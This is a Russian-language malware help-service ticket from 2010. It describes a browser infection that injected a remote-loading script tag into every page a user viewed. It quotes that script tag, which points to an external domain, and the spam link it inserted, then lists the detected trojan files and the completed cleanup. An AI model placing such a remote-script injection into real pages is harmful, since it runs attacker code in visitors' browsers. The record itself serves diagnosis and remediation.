-
Назойливый javascript (заявка №13723)
Пользователь обратился в сервис 911, указав на следующие проблемы в работе его компьютера:
Ко всем просматриваемым страницам во всех браузерах добавляется следующий код:
<SCRIPT language="javascript" src="http://vkontacte.net/1.js"> </SCRIPT>
В результате чего в некоторых текстовых полях появляется вот такой текст:
-----
<a href=http://www.qtaxi.ru>qtaxiii</a>
(IE честно показал этот код, Опера и Огнелис ничего не показывали, но всё равно на адрес обращались и скрипт выполняли)
Дата обращения: 30.03.2010 21:54:00
Номер заявки: 13723
-
-
Будь в курсе!
Будь в курсе!
Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:
-
Trojan.Win32.BHO.aggk
30.03.2010 22:50:23 на зараженном компьютере были обнаружены следующие вредоносные файлы:
- C:\Windows\System32\Galactic.scr - подозрительный, обрабатывается вирлабом
- размер: 1241088 байт
- дата файла: 16.11.2006 17:11:34
- версия: "1.0.0.1"
- копирайты: "Packard Bell BV All rights reserved."
- C:\Program Files\SAM\module.dll - Trojan.Win32.BHO.aggk
- размер: 204800 байт
- дата файла: 25.03.2010 17:20:00
- версия: "6.9.45.234"
- копирайты: "(c) Web Security corp. All rights reserved."
-
-
Итог лечения
31.03.2010 11:36:37 лечение успешно завершено
-
